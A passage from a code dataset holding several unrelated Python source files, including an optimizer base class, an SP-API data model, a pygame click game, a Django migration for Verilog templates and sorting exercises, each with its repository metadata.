pop_temp = deepcopy(pop)\n else:\n exit()\n if Config.METRICS in Config.METRICS_MAX:\n current_best = max(pop_temp, key=lambda x: x[self.ID_FIT])\n else:\n current_best = min(pop_temp, key=lambda x: x[self.ID_FIT])\n return deepcopy(current_best)\n\n def update_old_solution(self, old_solution, new_solution):\n if Config.METRICS in Config.METRICS_MAX:\n if new_solution[self.ID_FIT] > old_solution[self.ID_FIT]:\n return new_solution\n else:\n if new_solution[self.ID_FIT] < old_solution[self.ID_FIT]:\n return new_solution\n return old_solution\n\n def update_old_population(self, pop_old:list, pop_new:list):\n for i in range(0, self.pop_size):\n if Config.METRICS in Config.METRICS_MAX:\n if pop_new[i][self.ID_FIT] > pop_old[i][self.ID_FIT]:\n pop_old[i] = deepcopy(pop_new[i])\n else:\n if pop_new[i][self.ID_FIT] < pop_old[i][self.ID_FIT]:\n pop_old[i] = deepcopy(pop_new[i])\n return pop_old\n\n def adding_element_to_dict(self, obj: dict, key: list, value: list):\n for idx, k in enumerate(key):\n obj[k].append(value[idx])\n return obj\n\n def check_objective(self):\n if Config.METRICS == \"pareto\" and self.__class__.__name__ not in Config.MULTI_OBJECTIVE_SUPPORTERS:\n print(f'Method: {self.__class__.__name__} doesn\"t support pareto-front fitness function type')\n exit()\n if self.verbose:\n print(f'Start training by: {self.__class__.__name__} algorithm, fitness type: {Config.METRICS}')\n\n def check_log(self):\n logline = f'with time-bound: {Config.TIME_BOUND_VALUE_PER_TASK * self.problem[\"n_tasks\"]} seconds.' if Config.TIME_BOUND_KEY else \"without time-bound.\"\n if Config.MODE == \"epoch\":\n logline = f\"Training by: epoch (mode) with: {self.epoch} epochs, {logline}\"\n elif Config.MODE == \"fe\":\n logline = f'Training by: function evalution (mode) with: {self.func_eval} FE, {logline}'\n if self.verbose:\n print(logline)\n\n def check_break_loop(self, mode_value, current_best, g_best, time_end, time_bound_start):\n break_loop = False\n if self.verbose:\n print(f'{Config.MODE.upper()}: {mode_value}, Current best fit: {current_best[self.ID_FIT]:.4f}, '\n f'Global best fit {g_best[self.ID_FIT]:.4f}, Time: {time_end:.2f} seconds')\n if Config.TIME_BOUND_KEY:\n if time() - time_bound_start >= Config.TIME_BOUND_VALUE_PER_TASK * self.problem[\"n_tasks\"]:\n print('====== Over time for training {} ======'.format(self.problem[\"n_tasks\"]))\n break_loop = True\n return break_loop\n\n def check_break_loop_multi(self, mode_value, front0, pop, time_end, time_bound_start):\n break_loop = False\n if self.verbose:\n # obj = [zeros(len(pop)) for i in range(self.n_objs)]\n # for idx, item in enumerate(pop.values()):\n # for i in range(self.n_objs):\n # obj[i][idx] = float(item[self.ID_FIT][i])\n # visualize_2D(obj[:2])\n print(f'{Config.MODE.upper()}: {mode_value}, Front size: {len(front0[0])}, including {list(pop.values())[front0[0][0]][self.ID_FIT]}, '\n f'time: {time_end:.2f} seconds')\n if Config.TIME_BOUND_KEY:\n if time() - time_bound_start >= Config.TIME_BOUND_VALUE_PER_TASK * self.problem[\"n_tasks\"]:\n print('====== Over time for training ======')\n break_loop = True\n return break_loop\n\n def get_g_best(self, pop):\n if Config.METRICS in Config.METRICS_MAX:\n g_best = max(pop, key=lambda x: x[self.ID_FIT])\n else:\n g_best = min(pop, key=lambda x: x[self.ID_FIT])\n return g_best\n\n def update_g_best_get_current_best(self, pop, g_best):\n if Config.METRICS in Config.METRICS_MAX:\n current_best = max(pop, key=lambda x: x[self.ID_FIT])\n if current_best[self.ID_FIT] > g_best[self.ID_FIT]:\n g_best = deepcopy(current_best)\n else:\n current_best = min(pop, key=lambda x: x[self.ID_FIT])\n if current_best[self.ID_FIT] < g_best[self.ID_FIT]:\n g_best = deepcopy(current_best)\n return g_best, current_best\n\n def get_step_levy_flight(self, beta=1.0, step=0.001):\n \"\"\"\n Parameters\n ----------\n epoch (int): current iteration\n position : 1-D numpy array\n g_best_position : 1-D numpy array\n step (float, optional): 0.001\n case (int, optional): 0, 1, 2\n\n \"\"\"\n # muy and v are two random variables which follow normal distribution\n # sigma_muy : standard deviation of muy\n sigma_muy = power(gamma(1 + beta) * sin(pi * beta / 2) / (gamma((1 + beta) / 2) * beta * power(2, (beta - 1) / 2)), 1 / beta)\n # sigma_v : standard deviation of v\n sigma_v = 1\n muy = normal(0, sigma_muy ** 2)\n v = normal(0, sigma_v ** 2)\n s = muy / power(abs(v), 1 / beta)\n\n return step * s\n\n # levy = uniform(self.lb, self.ub) * step * s * (position - g_best_position)\n #\n # if case == 0:\n # return levy\n # elif case == 1:\n # return position + 1.0 / sqrt(epoch + 1) * sign(random() - 0.5) * levy\n # elif case == 2:\n # return position + normal(0, 1, len(self.lb)) * levy\n # elif case == 3:\n # return position + 0.01 * levy\n\n\n def step_decay(self, epoch, init_er):\n init_explore_rate = init_er\n drop = (1 - 1 / (math.e + 3)) \n epochs_drop = math.floor(math.sqrt(self.epoch))\n explore_rate = init_explore_rate * math.pow(drop, math.floor((1 + epoch)/epochs_drop))\n return max(explore_rate, 0.02)\n \n def evolve(self, pop=None, fe_mode=None, epoch=None, g_best=None):\n pass\n\n def train(self):\n time_total = time()\n time_bound_start = time()\n self.check_objective()\n self.check_log()\n\n ## Initialization\n pop = [self.create_solution() for _ in range(self.pop_size)]\n g_best = self.get_g_best(pop)\n g_best_list = [g_best[self.ID_FIT]]\n # current_best_list = []\n\n if Config.MODE == 'epoch':\n for epoch in range(self.epoch):\n # print(epoch)\n time_epoch_start = time()\n pop = self.evolve(pop, None, epoch, g_best)\n g_best, current_best = self.update_g_best_get_current_best(pop, g_best)\n g_best_list.append(g_best[self.ID_FIT])\n # current_best_list.append(current_best[self.ID_FIT])\n # print(\"EPOCH:\", epoch, \" / \", round(current_best[self.ID_FIT], 3))\n # plt.plot(current_best_list)\n # ft = [pop[i][self.ID_FIT] for i in range(self.pop_size)]\n # plt.plot(ft, 'o')\n # plt.show()\n time_epoch_end = time() - time_epoch_start\n break_loop = self.check_break_loop(epoch+1, current_best, g_best, time_epoch_end, time_bound_start)\n if break_loop: \n print(\"LAST EPOCH:\", epoch, \" / \", round(current_best[self.ID_FIT], 3))\n break\n time_total = time() - time_total\n return g_best[0], g_best[1], array(g_best_list), time_total\n elif Config.MODE == \"fe\":\n fe_counter = 0\n time_fe_start = time()\n while fe_counter < self.func_eval:\n pop, counter = self.evolve(pop, Config.MODE, None, g_best)\n g_best, current_best = self.update_g_best_get_current_best(pop, g_best)\n g_best_list.append(g_best[self.ID_FIT])\n fe_counter += counter\n time_fe_end = time() - time_fe_start\n break_loop = self.check_break_loop(fe_counter, current_best, g_best, time_fe_end, time_bound_start)\n if break_loop:\n break\n time_total = time() - time_total\n return g_best[0], g_best[1], array(g_best_list), time_total\n\n","repo_name":"thieu1995/SO-MO-ILCO-FCB","sub_path":"optimizer/root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":12644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10094311479","text":"#输入一个日期判断是这一年的第几天\ndef isHowday(year,month,day):\n p_year = [31,28,31,30,31,30,31,31,30,31,30,30] #平年各月天数\n r_year = [31,29,31,30,31,30,31,31,30,31,30,30] #闰年各月天数\n sum_day = 0\n str0 = str(year) +'年'+ str(month) +'月'+ str(day)+'日' #字符串形式\n if (year % 4 ==0 and year % 100 != 0) or year % 400 == 0 : #判断是否是闰年\n for i in range(0,month-1): #加上第一个月到前一个月的总天数\n sum_day += r_year[i]\n print(\"%s是这一年的第%d天\" %(str0,sum_day+day))\n else :\n for i in range(0,month-1):\n sum_day += p_year[i]\n print(\"%s是这一年的第%d天\" %(str0,sum_day+day))\nisHowday(2001,12,31) #调用函数","repo_name":"jiangshangliu/pyPractice","sub_path":"New01/p02.py","file_name":"p02.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33899409903","text":"from typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar, Union\n\nimport attr\n\nfrom ..models.offer_customer_type import OfferCustomerType\nfrom ..types import UNSET, Unset\n\nif TYPE_CHECKING:\n from ..models.money_type import MoneyType\n from ..models.price_type import PriceType\n from ..models.quantity_discount_price_type import QuantityDiscountPriceType\n\n\nT = TypeVar(\"T\", bound=\"OfferType\")\n\n\n@attr.s(auto_attribs=True)\nclass OfferType:\n r\"\"\"\n Attributes:\n buying_price (PriceType):\n regular_price (MoneyType):\n fulfillment_channel (str): The fulfillment channel for the offer listing. Possible values:\n\n * Amazon - Fulfilled by Amazon.\n * Merchant - Fulfilled by the seller.\n item_condition (str): The item condition for the offer listing. Possible values: New, Used, Collectible,\n Refurbished, or Club.\n item_sub_condition (str): The item subcondition for the offer listing. Possible values: New, Mint, Very Good,\n Good, Acceptable, Poor, Club, OEM, Warranty, Refurbished Warranty, Refurbished, Open Box, or Other.\n seller_sku (str): The seller stock keeping unit (SKU) of the item.\n offer_type (Union[Unset, OfferCustomerType]):\n business_price (Union[Unset, MoneyType]):\n quantity_discount_prices (Union[Unset, List['QuantityDiscountPriceType']]):\n \"\"\"\n\n buying_price: \"PriceType\"\n regular_price: \"MoneyType\"\n fulfillment_channel: str\n item_condition: str\n item_sub_condition: str\n seller_sku: str\n offer_type: Union[Unset, OfferCustomerType] = UNSET\n business_price: Union[Unset, \"MoneyType\"] = UNSET\n quantity_discount_prices: Union[Unset, List[\"QuantityDiscountPriceType\"]] = UNSET\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n buying_price = self.buying_price.to_dict()\n\n regular_price = self.regular_price.to_dict()\n\n fulfillment_channel = self.fulfillment_channel\n item_condition = self.item_condition\n item_sub_condition = self.item_sub_condition\n seller_sku = self.seller_sku\n offer_type: Union[Unset, str] = UNSET\n if not isinstance(self.offer_type, Unset):\n offer_type = self.offer_type.value\n\n business_price: Union[Unset, Dict[str, Any]] = UNSET\n if not isinstance(self.business_price, Unset):\n business_price = self.business_price.to_dict()\n\n quantity_discount_prices: Union[Unset, List[Dict[str, Any]]] = UNSET\n if not isinstance(self.quantity_discount_prices, Unset):\n quantity_discount_prices = []\n for quantity_discount_prices_item_data in self.quantity_discount_prices:\n quantity_discount_prices_item = quantity_discount_prices_item_data.to_dict()\n\n quantity_discount_prices.append(quantity_discount_prices_item)\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update(\n {\n \"BuyingPrice\": buying_price,\n \"RegularPrice\": regular_price,\n \"FulfillmentChannel\": fulfillment_channel,\n \"ItemCondition\": item_condition,\n \"ItemSubCondition\": item_sub_condition,\n \"SellerSKU\": seller_sku,\n }\n )\n if offer_type is not UNSET:\n field_dict[\"offerType\"] = offer_type\n if business_price is not UNSET:\n field_dict[\"businessPrice\"] = business_price\n if quantity_discount_prices is not UNSET:\n field_dict[\"quantityDiscountPrices\"] = quantity_discount_prices\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n from ..models.money_type import MoneyType\n from ..models.price_type import PriceType\n from ..models.quantity_discount_price_type import QuantityDiscountPriceType\n\n d = src_dict.copy()\n buying_price = PriceType.from_dict(d.pop(\"BuyingPrice\"))\n\n regular_price = MoneyType.from_dict(d.pop(\"RegularPrice\"))\n\n fulfillment_channel = d.pop(\"FulfillmentChannel\")\n\n item_condition = d.pop(\"ItemCondition\")\n\n item_sub_condition = d.pop(\"ItemSubCondition\")\n\n seller_sku = d.pop(\"SellerSKU\")\n\n _offer_type = d.pop(\"offerType\", UNSET)\n offer_type: Union[Unset, OfferCustomerType]\n if isinstance(_offer_type, Unset):\n offer_type = UNSET\n else:\n offer_type = OfferCustomerType(_offer_type)\n\n _business_price = d.pop(\"businessPrice\", UNSET)\n business_price: Union[Unset, MoneyType]\n if isinstance(_business_price, Unset):\n business_price = UNSET\n else:\n business_price = MoneyType.from_dict(_business_price)\n\n quantity_discount_prices = []\n _quantity_discount_prices = d.pop(\"quantityDiscountPrices\", UNSET)\n for quantity_discount_prices_item_data in _quantity_discount_prices or []:\n quantity_discount_prices_item = QuantityDiscountPriceType.from_dict(quantity_discount_prices_item_data)\n\n quantity_discount_prices.append(quantity_discount_prices_item)\n\n result = cls(\n buying_price=buying_price,\n regular_price=regular_price,\n fulfillment_channel=fulfillment_channel,\n item_condition=item_condition,\n item_sub_condition=item_sub_condition,\n seller_sku=seller_sku,\n offer_type=offer_type,\n business_price=business_price,\n quantity_discount_prices=quantity_discount_prices,\n )\n\n result.additional_properties = d\n return result\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"milyord/sp-api","sub_path":"sp/product_pricing_v0/models/offer_type.py","file_name":"offer_type.py","file_ext":"py","file_size_in_byte":6251,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73032869813","text":"import math\nimport time\nfrom collections import deque\n\nimport numpy as np\n\nfrom neupy.helpers.table import format_time\n\n\n__all__ = ('SummaryTable', 'InlineSummary')\n\n\nclass SummaryTable(object):\n \"\"\"\n Class that shows network's training errors in the\n form of a table.\n\n Parameters\n ----------\n network : BaseNetwork\n Network instance.\n\n table_builder : TableBuilder\n Pre-defined table builder with specified table structure.\n\n delay_limit : float\n Defaults to ``1``.\n\n delay_history_length : int\n Defaults to ``10``.\n \"\"\"\n def __init__(self, network, table_builder, delay_limit=1.,\n delay_history_length=10):\n self.network = network\n self.table_builder = table_builder\n self.delay_limit = delay_limit\n self.delay_history_length = delay_history_length\n\n self.prev_summary_time = None\n self.terminal_output_delays = deque(maxlen=delay_history_length)\n\n table_builder.start()\n\n def show_last(self):\n network = self.network\n table_builder = self.table_builder\n terminal_output_delays = self.terminal_output_delays\n\n now = time.time()\n\n if self.prev_summary_time is not None:\n time_delta = now - self.prev_summary_time\n terminal_output_delays.append(time_delta)\n\n training_error = network.errors.last()\n validation_error = network.validation_errors.last()\n\n table_builder.row([\n network.last_epoch,\n training_error if training_error is not None else '-',\n validation_error if validation_error is not None else '-',\n network.training.epoch_time,\n ])\n self.prev_summary_time = now\n\n if len(terminal_output_delays) == self.delay_history_length:\n self.prev_summary_time = None\n average_delay = np.mean(terminal_output_delays)\n\n if average_delay < self.delay_limit:\n show_epoch = network.training.show_epoch\n scale = math.ceil(self.delay_limit / average_delay)\n\n show_epoch = int(show_epoch * scale)\n table_builder.message(\"Too many outputs in the terminal. \"\n \"Set up logging after each {} epochs\"\n \"\".format(show_epoch))\n\n terminal_output_delays.clear()\n network.training.show_epoch = show_epoch\n\n def finish(self):\n self.table_builder.finish()\n\n\nclass InlineSummary(object):\n \"\"\"\n Class that shows network's training errors in the\n form of a table.\n\n Parameters\n ----------\n network : BaseNetwork\n Network instance.\n \"\"\"\n def __init__(self, network):\n self.network = network\n\n def show_last(self):\n network = self.network\n logs = network.logs\n\n train_error = network.errors.last()\n validation_error = network.validation_errors.last()\n epoch_training_time = format_time(network.training.epoch_time)\n\n if validation_error is not None:\n logs.write(\n \"epoch #{}, train err: {:.6f}, valid err: {:.6f}, time: {}\"\n \"\".format(network.last_epoch, train_error, validation_error,\n epoch_training_time)\n )\n else:\n logs.write(\n \"epoch #{}, train err: {:.6f}, time: {}\"\n \"\".format(network.last_epoch, train_error,\n epoch_training_time)\n )\n\n def finish(self):\n pass\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/itdxer_neupy/neupy-master/neupy/algorithms/summary_info.py","file_name":"summary_info.py","file_ext":"py","file_size_in_byte":3578,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"9048520093","text":"import numpy as np\n\n\ndef do_apod3d(nx, ny, nz):\n '''\n Construct a 3D dimensional apodisation function\n\n Parameters\n ----------\n Dimensions of required cube\n nx - int\n ny - int\n nz - int\n\n '''\n\n apodx = np.sin(np.pi*(np.arange(0, nx, 1, dtype=float)+0.5)/nx) ** 2\n apody = np.sin(np.pi*(np.arange(0, ny, 1, dtype=float)+0.5)/ny) ** 2\n apodz = np.sin(np.pi*(np.arange(0, nz, 1, dtype=float)+0.5)/nz) ** 2\n\n apodxy = np.matmul(apodx[:, np.newaxis], apody[np.newaxis, :])\n apodxyz = np.matmul(apodxy[:, :, np.newaxis], apodz[np.newaxis, :])\n\n return apodxyz\n\n\nclass ImageCube:\n \"\"\"\n Class for Image sub cubes\n \"\"\"\n def __init__(self, image, fourier_image):\n self.image = image\n self.fourier_image = fourier_image\n self.betas = None\n\n def _estimate_shot_noise(self):\n fac = np.sum(np.sqrt(self.image[self.image > 0]))\n betas = np.abs(self.fourier_image)/fac\n self.betas = betas\n return betas\n\n def _image_indepen_noise(self):\n betas = np.abs(self.fourier_image)\n self.betas = betas\n return betas\n\n def gate_filter(self, beta, gamma=1.5):\n fourier_amp = np.abs(self.fourier_image)\n threshold = gamma * beta\n filt = np.logical_not(fourier_amp < threshold)\n return filt\n\n def wiener_filter(self, beta, gamma=1.5):\n filt = np.abs(self.fourier_image) / \\\n (gamma*beta+np.abs(self.fourier_image))\n return filt\n","repo_name":"Richardjmorton/noise_gating","sub_path":"Python_version/noise_gate/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"10599227254","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 9 19:41:58 2020\n\n@author: smrak@bu.edu\n\"\"\"\n\nimport xarray, os, glob\nfrom datetime import datetime\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cartomap.geogmap as gm\nimport subprocess\nimport cartopy.crs as ccrs\n\nsave = 0\ndate = '20170821'\nwl = 193\ngalt = 150\nroot = root = \"\\\\\".join(os.getcwd().split('\\\\')[:-1])\nEOFF = glob.glob(root + \"\\\\data\\\\{}\\\\SDO193ephem_test\\\\{}A_{}*km*.nc\".format(date,wl,galt))\nodir = root + \"\\\\data\\\\{}\\\\EOF\\\\{}_{}\\\\\".format(date, wl, galt)\nfor f in EOFF:\n EOF = xarray.open_dataset(f)\n t = np.datetime64(EOF.time.values, 's').astype(datetime)\n fig, ax = gm.plotCartoMap(projection='plate', lon0=0,\n figsize=[8,5],\n lonlim=[-180,180], latlim=[-90,90],\n title = '{}, Alt = {} km'.format(t, EOF.alt_km.values),\n meridians=np.arange(-180,180.1,40), parallels=np.arange(-80,81,20),\n background_color='grey')\n# lap = abs(ndimage.laplace(EOF.of.values))\n# lap[lap<0.001] = np.nan\n# LAP = ax.contourf(EOF.glon.values, EOF.glat.values, lap.T, cmap='terrain', \n# levels = np.linspace(0.008, 0.1, 40),# vmin=0.001, vmax=0.08,\n# transform=ccrs.PlateCarree())\n OF = ax.pcolormesh(EOF.glon.values, EOF.glat.values, EOF.of.values, cmap='terrain',\n vmin=0, vmax=1,\n transform=ccrs.PlateCarree())\n OFC = ax.contour(EOF.glon.values, EOF.glat.values, EOF.of.values, colors='w', \n levels=np.arange(0.39, 1.1, 0.1),\n transform=ccrs.PlateCarree())\n# plt.colorbar()\n ax.clabel(OFC,OFC.levels, inline=True)\n \n posn0 = ax.get_position()\n cax = fig.add_axes([posn0.x0+posn0.width+0.01, posn0.y0, 0.02, posn0.height])\n fig.colorbar(OF, cax=cax, label='EOF',format='%.2f')\n# plt.tight_layout()\n if save:\n if not os.path.exists(odir):\n subprocess.call('mkdir \"{}\"'.format(odir), timeout=2, shell=True)\n fig.savefig(odir+ \"{}.png\".format(t.strftime(\"%Y%m%d_%H%M\")))\n plt.close(fig)\n else:\n break","repo_name":"aldebaran1/pyEclipse","sub_path":"scripts/lot_eof_geomap.py","file_name":"lot_eof_geomap.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"9145647922","text":"'''\r\nThis program is free software: you can redistribute it and/or modify\r\nit under the terms of the GNU General Public License as published by\r\nthe Free Software Foundation, either version 3 of the License, or\r\n(at your option) any later version.\r\n\r\nThis program is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\nGNU General Public License for more details.\r\n\r\nYou should have received a copy of the GNU General Public License\r\nalong with this program. If not, see .\r\n#####\r\nIsmail A Ahmed\r\nClick It!\r\nVersion 1.0\r\n'''\r\n\r\nimport pygame, sys\r\nfrom pygame.locals import *\r\n\r\npygame.init()\r\n\r\nFPS = 30 # frames per second setting\r\nfpsClock = pygame.time.Clock()\r\n\r\n# set up the window\r\nDISPLAYSURF = pygame.display.set_mode((500, 500), 0, 32)\r\npygame.display.set_caption('Click It!') #title\r\n\r\n\r\n#set up the colors\r\n# R G B\r\nGRAY = (100, 100, 100)\r\nNAVYBLUE = ( 60, 60, 100)\r\nWHITE = (255, 255, 255)\r\nRED = (255, 0, 0)\r\nGREEN = ( 0, 255, 0)\r\nBLUE = ( 0, 0, 255)\r\nYELLOW = (255, 255, 0)\r\nORANGE = (255, 128, 0)\r\nPURPLE = (255, 0, 255)\r\nCYAN = ( 0, 255, 255)\r\nBLACK = ( 0, 0, 0)\r\n\r\nimage_file = \"superman.png\"\r\nimage = pygame.image.load(image_file).convert()\r\nstart_rect = image.get_rect()\r\nimage_rect = start_rect\r\nl=[0,100]\r\nimage_rect = start_rect.move(l)\r\nautob = pygame.image.load('autobot.png')\r\ndecept = pygame.image.load('decepticon.png')\r\n#chet = pygame.image.load('Cheetah3.png')\r\noutfile = open('gamecords.txt','w') # placed here incase click user clicks 'load' before 'save' cuz then file wouldn't exist\r\n\r\nwhile True: # the main game loop\r\n DISPLAYSURF.fill(BLACK) #continusly makes background white\r\n event = pygame.event.poll()\r\n keyinput = pygame.key.get_pressed()\r\n\r\n soundObj = pygame.mixer.Sound('SHUTDOWN.wav') #imports the music on standby\r\n\r\n quitgame = pygame.Rect(30, 30, 100, 55)\r\n loadgame = pygame.Rect(200, 30, 100, 55)\r\n savegame = pygame.Rect(360, 30, 100, 55)\r\n\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n soundObj.stop()\r\n if event.type == MOUSEBUTTONDOWN:\r\n if event.button == 1: #makes so only can click right button on mouse\r\n mouse_pos = list(event.pos)\r\n if(mouse_pos[1]>=100):\r\n if (mouse_pos[0] >= 395 and mouse_pos[1] >= 420):\r\n mouse_pos[0] = 395\r\n mouse_pos[1] = 420\r\n image_rect = start_rect.move(mouse_pos)\r\n soundObj.play()\r\n elif (mouse_pos[0] >= 395):\r\n mouse_pos[0] = 395\r\n image_rect = start_rect.move(mouse_pos)\r\n soundObj.play()\r\n elif (mouse_pos[1] >= 420):\r\n mouse_pos[1] = 420\r\n image_rect = start_rect.move(mouse_pos)\r\n soundObj.play()\r\n image_rect = start_rect.move(mouse_pos)\r\n soundObj.play()\r\n if quitgame.collidepoint(event.pos):\r\n pygame.quit()\r\n sys.exit()\r\n soundObj.stop()\r\n elif loadgame.collidepoint(event.pos):\r\n DISPLAYSURF.blit(autob, (190, 20))\r\n infile = open('gamecords.txt', 'r')\r\n for x in infile:\r\n y=x.split(',')\r\n a=int(y[0])\r\n b=int(y[1])\r\n mouse_pos1=[a,b]\r\n if (mouse_pos1[0] >= 395 and mouse_pos[1] >= 420):\r\n mouse_pos1[0] = 395\r\n mouse_pos1[1] = 420\r\n image_rect = start_rect.move(mouse_pos1)\r\n elif (mouse_pos1[0] >= 395):\r\n mouse_pos1[0] = 395\r\n image_rect = start_rect.move(mouse_pos1)\r\n elif (mouse_pos1[1] >= 420):\r\n mouse_pos1[1] = 420\r\n image_rect = start_rect.move(mouse_pos1)\r\n image_rect = start_rect.move(mouse_pos1)\r\n infile.close()\r\n elif savegame.collidepoint(event.pos):\r\n DISPLAYSURF.blit(decept, (355, 50))\r\n outfile = open('gamecords.txt', 'w')\r\n gameimg=str(image_rect)\r\n gameimg=gameimg.strip('')\r\n gameimg =gameimg.split(',')\r\n outfile.write(gameimg[0]+', '+gameimg[1])\r\n outfile.close()\r\n\r\n pygame.draw.rect(DISPLAYSURF, GREEN, (quitgame))\r\n basicfont = pygame.font.SysFont(None, 26) # 48 is font size, no font type\r\n text = basicfont.render('Quit', True, BLUE, GREEN) # first set of parenthesis is the font color, second set is the background of the words\r\n DISPLAYSURF.blit(text, (59, 50)) # Where on the destination surface to render said font\r\n pygame.draw.rect(DISPLAYSURF, GREEN, (loadgame))\r\n basicfont = pygame.font.SysFont(None, 26) # 48 is font size, no font type\r\n text = basicfont.render('Load', True, BLUE, GREEN) # first set of parenthesis is the font color, second set is the background of the words\r\n DISPLAYSURF.blit(text, (230, 50)) # Where on the destination surface to render said font\r\n pygame.draw.rect(DISPLAYSURF, GREEN, (savegame))\r\n basicfont = pygame.font.SysFont(None, 26) # 48 is font size, no font type\r\n text = basicfont.render('Save', True, BLUE, GREEN) # first set of parenthesis is the font color, second set is the background of the words\r\n DISPLAYSURF.blit(text, (390, 50)) # Where on the destination surface to render said font\r\n DISPLAYSURF.blit(image, image_rect)\r\n pygame.display.update()\r\n fpsClock.tick(FPS)\r\n","repo_name":"ismailahmed0/Click-It","sub_path":"clickit.py","file_name":"clickit.py","file_ext":"py","file_size_in_byte":5899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"285882836","text":"# Data Migration file for updating the existing language data\n\nfrom django.db import migrations\n\nclass Migration(migrations.Migration):\n\n # update HDL languages\n def update_languages(apps, schema_editor):\n Language = apps.get_model('core', 'Language')\n CodeTemplate = apps.get_model('core', 'CodeTemplate')\n\n verilog = Language.objects.get(name='Verilog (Icarus Verilog 11.0.0)')\n\n # create code templates\n CodeTemplate.objects.update_or_create(language=verilog, name=\"Module\",\n defaults={\"code\": \"module main(clk, reset, out);\\n\\n\\tinput clk, reset;\\n\\toutput out;\\n\\n\\t// enter your solution here...\\n\\n\\nendmodule\"})\n CodeTemplate.objects.create(language=verilog, name=\"Testbench\",\n code=\"module main_tb;\\n\\n\\treg clk, reset;\\n\\twire out;\\n\\n\\tmain uut (.clk(clk), .reset(reset), .out(out));\\n\\n\\tinitial begin\\n\\t\\t// enter your solution here...\\n\\n\\n\\tend\\n\\nendmodule\")\n\n dependencies = [\n ('core', '0006_hdl_question_config'),\n ]\n\n operations = [\n migrations.RunPython(update_languages)\n ]\n\n\n","repo_name":"chongyih/aasp-core","sub_path":"core/migrations/0007_hdl_update_data.py","file_name":"0007_hdl_update_data.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41294881642","text":"#ps_maxmin_nova\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the maxMin function below.\ndef maxMin(k, arr):\n ar=arr\n ar.sort()\n re=10**5*k\n for _ in range(len(ar)-k+1):\n re=min(re,ar[_+k-1]-ar[_])\n return re\n \n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n n = int(input())\n k = int(input())\n arr = []\n for _ in range(n):\n arr_item = int(input())\n arr.append(arr_item)\n result = maxMin(k, arr)\n fptr.write(str(result) + '\\n')\n fptr.close()\n","repo_name":"JoinNova/hackerrank","sub_path":"ps_MaxMin.py","file_name":"ps_MaxMin.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72360870453","text":"from src import sort\n\n\ndef dedup(line):\n '''\n @brief 2.5.4 返回一个有序的数组,删除其中的重复元素\n '''\n sort.insert_sort.insert_sort(line, 0, len(line) - 1)\n count = 0\n for i in range(1, len(line)):\n if line[i - 1] == line[i]:\n count += 1\n \n line[i] = line[i + count]\n \n line = line[-1 * count:]\n return line\n \n \ndef frequency(lines):\n '''\n @brief 2.5.8 根据字符串出现的次数从高到低排序输出\n '''\n sort.insert_sort.insert_sort(lines, 0, len(lines) - 1)\n ret = {}\n for i in range(len(lines)):\n if lines[i] in ret.keys():\n ret[lines[i]] += 1\n else:\n ret[lines[i]] = 1\n \n return ret\n \n \ndef spt_shortest_first(tasks):\n '''\n @brief 2.5.12 最短时间优先原则, tasks是一个[],每个成员[]第一个是元素是任务名称,第二个是执行时间\n '''\n for i in range(len(tasks)):\n min_index = i \n for j in range(i + 1, len(tasks)):\n if tasks[min_index][1] > tasks[j][1]:\n min_index = j\n\n tasks[i], tasks[min_index] = tasks[min_index], tasks[i]\n \n return tasks\n \n \ndef spt_longest_first(tasks):\n '''\n @brief 2.5.13 最长时间优先原则\n '''\n for i in range(len(tasks)):\n max_index = i \n for j in range(i + 1, len(tasks)):\n if tasks[max_index][1] < tasks[j][1]:\n min_index = j\n\n tasks[i], tasks[min_index] = tasks[min_index], tasks[i]\n \n return tasks\n \n \ndef domain_sort(domains):\n '''\n @brief 2.5.14 将域名按照每个域名自身的逆序进行排序,www.baidu.com的逆序为com.baidu.www\n @note domains 每个元素是一个字符串,如www.baidu.com\n '''\n def reverse_domain(domain):\n lines = domain.split('.')\n ret = ''\n for i in range(len(lines)):\n ret += '.' + lines[i]\n \n return ret[1:]\n \n for i in range(len(domains)):\n max_index = i \n for j in range(i + 1, len(domains)):\n if reverse_domain(domains[max_index]) < reverse_domain(domains[j]):\n min_index = j\n\n domains[i], domains[min_index] = 